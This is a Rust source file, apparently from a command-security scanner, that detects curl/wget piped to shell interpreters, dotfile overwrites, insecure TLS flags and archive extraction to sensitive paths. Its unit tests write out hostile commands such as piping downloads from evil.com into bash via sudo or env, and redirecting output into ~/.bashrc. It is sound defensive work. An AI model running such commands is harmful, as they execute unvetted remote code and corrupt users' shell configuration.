Skip to main content

tirith_core/rules/
command.rs

1use crate::tokenize::{self, ShellType};
2use crate::verdict::{Evidence, Finding, RuleId, Severity};
3
4/// Run command-shape rules.
5pub fn check(input: &str, shell: ShellType) -> Vec<Finding> {
6    let mut findings = Vec::new();
7    let segments = tokenize::tokenize(input, shell);
8
9    // Check for pipe-to-interpreter patterns
10    let has_pipe = segments.iter().any(|s| {
11        s.preceding_separator.as_deref() == Some("|")
12            || s.preceding_separator.as_deref() == Some("|&")
13    });
14    if has_pipe {
15        check_pipe_to_interpreter(&segments, &mut findings);
16    }
17
18    // Check for insecure TLS flags in source commands
19    for segment in &segments {
20        if let Some(ref cmd) = segment.command {
21            let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
22            if is_source_command(&cmd_base) {
23                let tls_findings =
24                    crate::rules::transport::check_insecure_flags(&segment.args, true);
25                findings.extend(tls_findings);
26            }
27        }
28    }
29
30    // Check for dotfile overwrites
31    check_dotfile_overwrite(&segments, &mut findings);
32
33    // Check for archive extraction to sensitive paths
34    check_archive_extract(&segments, &mut findings);
35
36    findings
37}
38
39/// Resolve the effective interpreter from a segment.
40/// If the command is `sudo`, `env`, or an absolute path to one of them,
41/// look past flags and flag-values to find the real interpreter.
42fn resolve_interpreter_name(seg: &tokenize::Segment) -> Option<String> {
43    if let Some(ref cmd) = seg.command {
44        let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
45        if is_interpreter(&cmd_base) {
46            return Some(cmd_base);
47        }
48        if cmd_base == "sudo" {
49            // Flags that take a separate value argument
50            let sudo_value_flags = ["-u", "-g", "-C", "-D", "-R", "-T"];
51            let mut skip_next = false;
52            for (idx, arg) in seg.args.iter().enumerate() {
53                if skip_next {
54                    skip_next = false;
55                    continue;
56                }
57                let trimmed = arg.trim();
58                if trimmed.starts_with("--") {
59                    // --user=root: long flag with =, skip entirely
60                    // --user root: long flag without =, skip next arg
61                    if !trimmed.contains('=') {
62                        skip_next = true;
63                    }
64                    continue;
65                }
66                if trimmed.starts_with('-') {
67                    if sudo_value_flags.contains(&trimmed) {
68                        skip_next = true;
69                    }
70                    continue;
71                }
72                let base = trimmed.rsplit('/').next().unwrap_or(trimmed).to_lowercase();
73                if base == "env" {
74                    return resolve_env_from_args(&seg.args[idx + 1..]);
75                }
76                if is_interpreter(&base) {
77                    return Some(base);
78                }
79                break;
80            }
81        } else if cmd_base == "env" {
82            return resolve_env_from_args(&seg.args);
83        }
84    }
85    None
86}
87
88fn resolve_env_from_args(args: &[String]) -> Option<String> {
89    let env_value_flags = ["-u"];
90    let mut skip_next = false;
91    for arg in args {
92        if skip_next {
93            skip_next = false;
94            continue;
95        }
96        let trimmed = arg.trim();
97        if trimmed.starts_with("--") {
98            if !trimmed.contains('=') {
99                skip_next = true;
100            }
101            continue;
102        }
103        if trimmed.starts_with('-') {
104            if env_value_flags.contains(&trimmed) {
105                skip_next = true;
106            }
107            continue;
108        }
109        // VAR=val assignments
110        if trimmed.contains('=') {
111            continue;
112        }
113        let base = trimmed.rsplit('/').next().unwrap_or(trimmed).to_lowercase();
114        if is_interpreter(&base) {
115            return Some(base);
116        }
117        break;
118    }
119    None
120}
121
122fn check_pipe_to_interpreter(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
123    for (i, seg) in segments.iter().enumerate() {
124        if i == 0 {
125            continue;
126        }
127        if let Some(sep) = &seg.preceding_separator {
128            if sep == "|" || sep == "|&" {
129                if let Some(interpreter) = resolve_interpreter_name(seg) {
130                    // Find the source segment
131                    if i > 0 {
132                        let source = &segments[i - 1];
133                        let source_cmd = source.command.as_deref().unwrap_or("unknown").to_string();
134                        let source_base = source_cmd
135                            .rsplit('/')
136                            .next()
137                            .unwrap_or(&source_cmd)
138                            .to_lowercase();
139
140                        let rule_id = match source_base.as_str() {
141                            "curl" => RuleId::CurlPipeShell,
142                            "wget" => RuleId::WgetPipeShell,
143                            _ => RuleId::PipeToInterpreter,
144                        };
145
146                        let display_cmd = seg.command.as_deref().unwrap_or(&interpreter);
147
148                        findings.push(Finding {
149                                rule_id,
150                                severity: Severity::High,
151                                title: format!("Pipe to interpreter: {source_cmd} | {display_cmd}"),
152                                description: format!(
153                                    "Command pipes output from '{source_base}' directly to interpreter '{interpreter}'. Downloaded content will be executed without inspection."
154                                ),
155                                evidence: vec![Evidence::CommandPattern {
156                                    pattern: "pipe to interpreter".to_string(),
157                                    matched: format!("{} | {}", source.raw, seg.raw),
158                                }],
159                            });
160                    }
161                }
162            }
163        }
164    }
165}
166
167fn check_dotfile_overwrite(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
168    for segment in segments {
169        // Check for redirects to dotfiles
170        let raw = &segment.raw;
171        if (raw.contains("> ~/.")
172            || raw.contains("> $HOME/.")
173            || raw.contains(">> ~/.")
174            || raw.contains(">> $HOME/."))
175            && !raw.contains("> /dev/null")
176        {
177            findings.push(Finding {
178                rule_id: RuleId::DotfileOverwrite,
179                severity: Severity::High,
180                title: "Dotfile overwrite detected".to_string(),
181                description: "Command redirects output to a dotfile in the home directory, which could overwrite shell configuration".to_string(),
182                evidence: vec![Evidence::CommandPattern {
183                    pattern: "redirect to dotfile".to_string(),
184                    matched: raw.clone(),
185                }],
186            });
187        }
188    }
189}
190
191fn check_archive_extract(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
192    for segment in segments {
193        if let Some(ref cmd) = segment.command {
194            let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
195            if cmd_base == "tar" || cmd_base == "unzip" || cmd_base == "7z" {
196                // Check if extracting to a sensitive directory
197                let raw = &segment.raw;
198                let sensitive_targets = [
199                    "-C /",
200                    "-C ~/",
201                    "-C $HOME/",
202                    "-d /",
203                    "-d ~/",
204                    "-d $HOME/",
205                    "> ~/.",
206                    ">> ~/.",
207                ];
208                for target in &sensitive_targets {
209                    if raw.contains(target) {
210                        findings.push(Finding {
211                            rule_id: RuleId::ArchiveExtract,
212                            severity: Severity::Medium,
213                            title: "Archive extraction to sensitive path".to_string(),
214                            description: format!(
215                                "Archive command '{cmd_base}' extracts to a potentially sensitive location"
216                            ),
217                            evidence: vec![Evidence::CommandPattern {
218                                pattern: "archive extract".to_string(),
219                                matched: raw.clone(),
220                            }],
221                        });
222                        return;
223                    }
224                }
225            }
226        }
227    }
228}
229
230fn is_source_command(cmd: &str) -> bool {
231    matches!(
232        cmd,
233        "curl"
234            | "wget"
235            | "fetch"
236            | "scp"
237            | "rsync"
238            | "iwr"
239            | "irm"
240            | "invoke-webrequest"
241            | "invoke-restmethod"
242    )
243}
244
245fn is_interpreter(cmd: &str) -> bool {
246    matches!(
247        cmd,
248        "sh" | "bash"
249            | "zsh"
250            | "dash"
251            | "ksh"
252            | "python"
253            | "python3"
254            | "node"
255            | "perl"
256            | "ruby"
257            | "php"
258            | "iex"
259            | "invoke-expression"
260    )
261}
262
263#[cfg(test)]
264mod tests {
265    use super::*;
266
267    #[test]
268    fn test_pipe_sudo_flags_detected() {
269        let findings = check(
270            "curl https://evil.com | sudo -u root bash",
271            ShellType::Posix,
272        );
273        assert!(
274            findings
275                .iter()
276                .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
277            "should detect pipe through sudo -u root bash"
278        );
279    }
280
281    #[test]
282    fn test_pipe_sudo_long_flag_detected() {
283        let findings = check(
284            "curl https://evil.com | sudo --user=root bash",
285            ShellType::Posix,
286        );
287        assert!(
288            findings
289                .iter()
290                .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
291            "should detect pipe through sudo --user=root bash"
292        );
293    }
294
295    #[test]
296    fn test_pipe_env_var_assignment_detected() {
297        let findings = check("curl https://evil.com | env VAR=1 bash", ShellType::Posix);
298        assert!(
299            findings
300                .iter()
301                .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
302            "should detect pipe through env VAR=1 bash"
303        );
304    }
305
306    #[test]
307    fn test_pipe_env_u_flag_detected() {
308        let findings = check("curl https://evil.com | env -u HOME bash", ShellType::Posix);
309        assert!(
310            findings
311                .iter()
312                .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
313            "should detect pipe through env -u HOME bash"
314        );
315    }
316
317    #[test]
318    fn test_dotfile_overwrite_detected() {
319        let cases = [
320            "echo malicious > ~/.bashrc",
321            "echo malicious >> ~/.bashrc",
322            "curl https://evil.com > ~/.bashrc",
323            "cat payload > ~/.profile",
324            "echo test > $HOME/.bashrc",
325        ];
326        for input in &cases {
327            let findings = check(input, ShellType::Posix);
328            eprintln!(
329                "INPUT: {:?} -> findings: {:?}",
330                input,
331                findings.iter().map(|f| &f.rule_id).collect::<Vec<_>>()
332            );
333            assert!(
334                findings
335                    .iter()
336                    .any(|f| f.rule_id == RuleId::DotfileOverwrite),
337                "should detect dotfile overwrite in: {input}",
338            );
339        }
340    }
341
342    #[test]
343    fn test_pipe_env_s_flag_detected() {
344        let findings = check("curl https://evil.com | env -S bash -x", ShellType::Posix);
345        assert!(
346            findings
347                .iter()
348                .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
349            "should detect pipe through env -S bash -x"
350        );
351    }
352
353    #[test]
354    fn test_pipe_sudo_env_detected() {
355        let findings = check(
356            "curl https://evil.com | sudo env VAR=1 bash",
357            ShellType::Posix,
358        );
359        assert!(
360            findings
361                .iter()
362                .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
363            "should detect pipe through sudo env VAR=1 bash"
364        );
365    }
366}